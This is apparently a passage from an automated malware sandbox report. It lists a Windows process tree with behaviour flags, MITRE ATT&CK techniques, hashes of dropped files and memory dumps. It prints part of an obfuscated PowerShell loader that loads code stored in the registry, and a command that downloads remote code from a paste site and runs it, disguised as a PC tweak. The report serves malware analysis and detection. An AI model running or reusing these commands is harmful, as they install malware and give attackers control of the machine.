),0,$NdSuqciYcnScrxixT,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aHePNBOabitcjjMAm,$PTiTflNLjCNTEnSIDqGERg).Invoke($NdSuqciYcnScrxixT,[uint32]8,0x20,[ref]$ViSCkCFGcP);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'x'+''+'4'+''+[Char](115)+''+[Char](116)+'a'+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2424

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
PID:1092

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1192

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1228

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1240

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1248

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1388

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1456

c:\windows\system32\sihost.exe
sihost.exe
2⤵
PID:3192

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1464

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1548

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1560

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1688

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1800

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1876

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1888

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1968

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1344

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2140

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2352

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2360

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2372

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2400

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
PID:2608

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2668

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2688

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2712

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2768

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2848

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:3208

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
1⤵
PID:3328

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3472

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\download (1).jpg"
2⤵
PID:2828

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:2276

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:4868

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:1640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell "irm rentry.co/el3rabtweakpc/raw | iex"
3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4180

C:\Windows\svchost32.exe
"C:\Windows\svchost32.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:824

C:\Users\Admin\AppData\Local\Temp\x4s.exe
"C:\Users\Admin\AppData\Local\Temp\x4s.exe"
5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
PID:1020

C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
"C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe"
5⤵
- Executes dropped EXE
PID:5064

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3972

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4192

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:5004

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:4816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3508

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3420

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:4204

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4708

C:\Windows\system32\ApplicationFrameHost.exe
C:\Windows\system32\ApplicationFrameHost.exe -Embedding
1⤵
PID:2092

C:\Windows\System32\InstallAgent.exe
C:\Windows\System32\InstallAgent.exe -Embedding
1⤵
PID:4900

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:428

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2960

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

2

T1082

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yp3owzx3.ajs.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
Filesize
164KB

MD5
8a7bee2c8cec6ac50bc42fe03d3231e6

SHA1
ebc599a15f061a70f6b3ee74b9acfa4e3b4d299d

SHA256
c8139f7fcde9c68cd331bcd438dfea7f02c463c6372dc477ab305da518483db8

SHA512
34370b6f162cb752b1cb91d689705e6f0f247e02744bbbe85347d20cd89e02aba7c5e9e22bb63acc49b4fdc062de12ccf24f481a18c18d2094e1506bb143cad5

Download Submit
C:\Users\Admin\AppData\Local\Temp\x4s.exe
Filesize
33KB

MD5
7d333fbc75b9264d3b631861794a7641

SHA1
165e2b6ad994fe9bab44154e3812b2e8825dfa76

SHA256
b98612934cc154c292502370baca4769f1fccad2c79c17237d23ffd5926180bf

SHA512
54408249ba56c7c19f41c8d35113f306f0fa62c6f5331993945504d09075977346eb40465107d4fab44159a46bd0048d8ea265d31b57d16294420552353175b3

Download Submit
C:\Windows\svchost32.exe
Filesize
180KB

MD5
de68372979221ee19e301cd657bdb1b6

SHA1
4266ce79f32422735a99259c27749b6d7fbe158e

SHA256
720747405e106709767314b8a58bb754aee0f2bcc568440d757aaab17a181f6a

SHA512
3c80bf8e5dda4a7fb9837e7098f5682651026ba41396fb18221ba96fa61e22961abc22e60760e719ce5300663ba18877aed60bd2106198eb6bf69030ce4fee16

Download Submit
memory/584-111-0x00000239D2940000-0x00000239D296C000-memory.dmp

Filesize
176KB

Download
memory/584-112-0x00007FFFB8160000-0x00007FFFB8170000-memory.dmp

Filesize
64KB

Download
memory/584-113-0x00007FF7C50F0000-0x00007FF7C5100000-memory.dmp

Filesize
64KB

Download
memory/584-105-0x00000239D2940000-0x00000239D296C000-memory.dmp

Filesize
176KB

Download
memory/584-104-0x00000239D2940000-0x00000239D296C000-memory.dmp

Filesize
176KB

Download
memory/584-103-0x00000239D2910000-0x00000239D2936000-memory.dmp

Filesize
152KB

Download
memory/640-123-0x000002454A440000-0x000002454A46C000-memory.dmp

Filesize
176KB

Download
memory/640-124-0x00007FFFB8160000-0x00007FFFB8170000-memory.dmp

Filesize
64KB

Download
memory/640-117-0x000002454A440000-0x000002454A46C000-memory.dmp

Filesize
176KB

Download
memory/640-125-0x00007FF7C50F0000-0x00007FF7C5100000-memory.dmp

Filesize
64KB

Download
memory/736-135-0x00000267CCB00000-0x00000267CCB2C000-memory.dmp

Filesize
176KB

Download
memory/736-129-0x00000267CCB00000-0x00000267CCB2C000-memory.dmp

Filesize
176KB

Download
memory/736-137-0x00007FF7C50F0000-0x00007FF7C5100000-memory.dmp

Filesize
64KB

Download
memory/736-136-0x00007FFFB8160000-0x00007FFFB8170000-memory.dmp

Filesize
64KB

Download
memory/824-49-0x0000000000BE0000-0x0000000000C14000-memory.dmp

Filesize
208KB

Download
memory/908-148-0x00007FFFB8160000-0x00007FFFB8170000-memory.dmp

Filesize
64KB

Download
memory/908-147-0x0000017B0E230000-0x0000017B0E25C000-memory.dmp

Filesize
176KB

Download
memory/908-149-0x00007FF7C50F0000-0x00007FF7C5100000-memory.dmp

Filesize
64KB

Download
memory/908-141-0x0000017B0E230000-0x0000017B0E25C000-memory.dmp

Filesize
176KB

Download
memory/1008-153-0x0000020890670000-0x000002089069C000-memory.dmp

Filesize
176KB

Download
memory/1020-820-0x000000001B450000-0x000000001B45E000-memory.dmp

Filesize
56KB

Download
memory/1020-62-0x0000000000960000-0x000000000096E000-memory.dmp

Filesize
56KB

Download
memory/1144-90-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1144-97-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1144-92-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1144-91-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1144-89-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1144-100-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1144-98-0x00007FF805060000-0x00007FF80523B000-memory.dmp

Filesize
1.9MB

Download
memory/1144-99-0x00007FF8025C0000-0x00007FF80266E000-memory.dmp

Filesize
696KB

Download
memory/2424-86-0x000001652DE40000-0x000001652DE6A000-memory.dmp

Filesize
168KB

Download
memory/2424-88-0x00007FF8025C0000-0x00007FF80266E000-memory.dmp

Filesize
696KB

Download
memory/2424-87-0x00007FF805060000-0x00007FF80523B000-memory.dmp

Filesize
1.9MB

Download
memory/4180-25-0x00007FF805060000-0x00007FF80523B000-memory.dmp

Filesize
1.9MB

Download
memory/4180-4-0x00007FF805060000-0x00007FF80523B000-memory.dmp

Filesize
1.9MB

Download
memory/4180-50-0x00007FF805060000-0x00007FF80523B000-memory.dmp

Filesize
1.9MB

Download
memory/4180-30-0x0000018DF1B60000-0x0000018DF1D22000-memory.dmp

Filesize
1.8MB

Download
memory/4180-10-0x0000018DF1400000-0x0000018DF1476000-memory.dmp

Filesize
472KB

Download
memory/4180-6-0x00007FF805060000-0x00007FF80523B000-memory.dmp

Filesize
1.9MB

Download
memory/4180-5-0x0000018DF0DA0000-0x0000018DF0DC2000-memory.dmp

Filesize
136KB

Download
memory/4180-7-0x00007FF805060000-0x00007FF80523B000-memory.dmp

Filesize
1.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads